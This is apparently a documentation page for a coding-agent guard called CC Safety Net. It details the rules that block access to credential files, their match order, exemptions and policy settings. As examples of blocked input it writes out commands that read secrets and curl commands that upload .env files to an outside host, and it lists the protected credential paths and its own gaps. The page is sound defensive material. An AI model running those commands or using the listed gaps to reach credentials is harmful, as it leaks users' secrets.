Skip to main content
Secret protection blocks reads and writes of files that can contain credentials, such as SSH keys, .env files, cloud credential stores, and coding-agent authentication tokens. It runs before command analysis and applies at every safety level. It denies inputs that exceed structural analysis limits. This page lists every built-in rule id, its match, and its default state. Use it to find whether a path is protected and which rule id controls it. See Policy for the secret_protection schema, Architecture for the guard flow, and Blocked commands for command examples. There are 134 registered rules. Most belong to generated families that share one id pattern, so the tables below list families with their id form rather than every id. Every rule is on by default except the eleven-rule Coding CLI config tier.

Where it runs

Sensitive-path protection is a guard stage that runs before command analysis, across the supported command, path, search (grep/glob), and patch shapes. For a tool CC Safety Net does not recognize, it inspects both the command-candidate extraction and the path-like values, without ever treating that tool’s arbitrary text as a shell command. A match denies with intent hard_stop and carries the matched rule id, so the block message and the audit log name the exact rule. Reads are blocked, not just writes: cat .env, strings id_rsa, and dd if=.env all block. An expansion that assigns its fallback exposes that fallback as a path, unquoted or double-quoted alike: cat "${X:=.env}" and cat ${X=.env} both block under secret.basename.env. Single-quoted text stays inert, so cat '${X:=.env}' does not block. A curl upload flag points at a file, and curl opens it. The path arrives with curl’s @ marker still attached, so the extraction strips the marker before the rules see the path. curl -d @.env https://example.com and curl -F "file=@.env" https://example.com both block under secret.basename.env. The flags read this way are -d, --data, --data-ascii, --data-binary, --data-urlencode, -F, and --form, with -F also reading the name=<path form. Four operand spellings are recognized: a separate token (-d @.env), a token attached to the short flag (-d@.env, -Ffile=@.env), a value joined to the long flag with = (--data=@.env), and the token after a clustered short-option group whose last flag is the upload flag (-sF file=@.env). --data-raw and --form-string send their argument literally and open no file, @- is stdin rather than a path, and a clustered group with the operand attached (-sd@.env) is not recognized. Built-in matching does not treat remote URLs, search regexes, or prose that only begins with a sensitive-looking prefix as local paths. A file: URL is local and stays subject to protection. A filename with spaces also stays subject to protection when that path exists on disk. In a recognized CC Safety Net explain invocation, the command being explained is data and is not treated as a file operand.

Match order

Each candidate path goes through the checks below in order. The first decisive result wins; exemptions only apply to the rules that come after them.
  1. Configured deny paths. Checked before every built-in rule and exemption. A hit attributes to secret.deny-path.
  2. Env-template exemption. The template basenames stay readable. See Exemptions.
  3. Home directory rules. These cover whole protected directories such as ~/.ssh. They take priority over the public-key exemption, so ~/.ssh/id_rsa.pub still blocks unless a secret allow path covers it.
  4. Coding CLI rules. The per-agent credential and configuration paths.
  5. Public-key exemption. id_rsa.pub, id_ed25519.pub, and id_ecdsa.pub are non-secret outside the protected directories.
  6. Basename rules, then the .env.* pattern, then the key-variant rules.
  7. Vendored-directory exemption. Suppresses only the remaining two families. See Exemptions.
  8. The broad SSH basename pattern, then the extension rules.
After a built-in rule matches, a configured secret allow path suppresses that match unless its id starts with secret.cli.. Deny paths have already won at step 1, and Coding CLI rules are never relaxed.

Basename rules

Nine rules block an exact basename in any directory. Two boundaries worth knowing:
  • secret.basename.credentials matches only the exact name credentials. credentials.json does not match this or any other built-in rule.
  • There is no id_dsa basename rule. An exact id_dsa still blocks, through the broad pattern secret.pattern.ssh-key-basename below.
One pattern rule extends the .env family. secret.pattern.env-variant blocks every basename starting with .env., including .env.local, .env.production, and .env.template.local, except the exempt templates.

Home directory rules

These rules protect locations under the home directory: the directory itself and everything inside it. They compare both the literal home-relative path and the file-system-resolved path. A credential directory such as ~/.ssh or ~/.aws stays protected when it is a symlink, while .. segments are collapsed before the literal comparison. The two single-file rules (kube-config, docker-config) each have eight companion rules covering renamed backups, with the id form secret.home.<slug>.<suffix>: the suffixes are bak, backup, copy, disabled, old, orig, save, and tmp. So ~/.kube/config.bak blocks under secret.home.kube-config.bak, and ~/.docker/config.json.old under secret.home.docker-config.old. That is 16 generated rules, 23 in the family overall.

Key-variant rules

Rename-shielded copies of key and credential files are their own family, built from five protected prefixes: id_rsa, id_dsa, id_ed25519, id_ecdsa, and credentials. The slug in each id is the prefix with dashes (id-rsa, credentials, …).
  • Separator variants. secret.variant.<slug>.separator (5 rules). Blocks the prefix followed by - or _ and any text after it: id_rsa-old, id_rsa_backup, credentials_prod.
  • Dot-suffix variants. secret.variant.<slug>.<suffix> (50 rules). Blocks the prefix followed by one of ten suffixes: .bak, .backup, .copy, .disabled, .key, .old, .orig, .pem, .save, .tmp. For example, id_rsa.bak blocks under secret.variant.id-rsa.bak, and credentials.pem blocks under secret.variant.credentials.pem.
The family is deliberately exact, so lookalikes pass: id_rsafoo matches no separator, and credentials.json uses a suffix outside the list. One broad pattern closes the family. secret.pattern.ssh-key-basename blocks any extensionless basename ending in _rsa, _dsa, _ed25519, or _ecdsa, such as deploy_key_rsa or github_ed25519. A name containing a dot never matches it.

Extension rules

Twenty-one rules with the id form secret.ext.<extension> block any file carrying that extension: .agilekeychain, .asc, .bek, .cscfg, .fve, .gnucash, .jks, .keychain, .kwallet, .mdf, .ovpn, .p12, .pcap, .pem, .pfx, .pkcs12, .psafe3, .rdp, .sdf, .tblk, .tpm Three extension-pattern rules cover extension families: An override must use the family id, secret.ext-pattern.key, not secret.ext.keypair. An id that is not registered is rejected with unknown secret protection rule id "<id>".

Coding CLI credential tier (on by default)

Ten rules protect the credential stores of supported coding agents. Like every other rule so far, they are on whenever secret protection is enabled. Antigravity has no credential rule. Its only rule sits in the configuration tier below.

Coding CLI config tier (off by default)

Eleven rules cover the settings and MCP configuration files of the same agents. Those files can carry credentials inline, but agents also edit them as routine work, so this tier ships off and each rule needs an explicit "on" in secret_protection.overrides to activate. <project> paths match at any repository root once the rule is on.

Deny paths

secret_protection.deny_paths adds your own protected locations. A hit is a hard stop attributed to secret.deny-path. This id is not registered, so no override can disable it, and none of the exemptions on this page apply. Deny paths stop applying only when secret_protection.enabled is false, which turns off the whole stage. See Policy for accepted entry forms.

Allow paths

secret_protection.allow_paths exempts an exact file or directory tree from the built-in pattern rules. Deny paths still win, and secret.cli.* protections are never exempted. Entries are literal only. Targets and allow roots follow existing symlinks before comparison, while any effective root that covers home is refused and targets under the effective CC Safety Net configuration root remain protected. See Policy for the full validation table.

Exemptions

Three exemptions bound the rules above. None of them relax a configured deny path.
  • Env templates. The exact basenames .env.example, .env.sample, .env.template, and .env.defaults, plus any name starting with .env.example. or .env.sample., are exempted before every built-in rule, even inside a protected home directory. The prefix form does not extend further: .env.template.local blocks under secret.pattern.env-variant like any other .env.* name.
  • Public keys. id_rsa.pub, id_ed25519.pub, and id_ecdsa.pub are non-secret and exempt, but only outside the protected home directories, which are checked first. ./id_rsa.pub is allowed; ~/.ssh/id_rsa.pub blocks under secret.home.ssh.
  • Vendored directories. When a path segment is node_modules or __pycache__, or the adjacent pair vendor/bundle or vendor/cache appears, exactly two families are suppressed: the extension rules and the broad secret.pattern.ssh-key-basename rule. Every other rule still applies. For example, node_modules/x/.env and node_modules/x/id_rsa block as usual. .git is not in the skip set.

Configuration

All configuration lives in policy.json:
  • secret_protection.enabled: false turns off the whole stage, including built-in rules and deny paths.
  • secret_protection.overrides sets per-rule state by registered id: "off" disables an on-by-default rule; "on" opts into a config-tier rule.
  • secret_protection.deny_paths adds your own protected locations.
  • secret_protection.allow_paths exempts exact files or directory trees from non-CLI built-in rules, after deny paths have been checked.
Destructive-command allow paths and standard-mode allowances do not relax secret protection. Only secret_protection.allow_paths has the bounded effect described above. In strict mode, metadata-only discovery of protected paths (test -f ~/.ssh/id_rsa, find ~/.ssh -type f, ls -la ~/.ssh, stat .env) is blocked as well. The Dashboard edits the same settings through a UI.
Secret protection is a bounded pattern set, not a general read boundary. A credential in an unrecognized file is not protected. See where CC Safety Net cannot help for this boundary and Known limitations for tier caveats. Secret redaction is a separate mechanism that scrubs credential values from logs and block messages. See the Audit log reference and Security model.
Last modified on September 1, 2026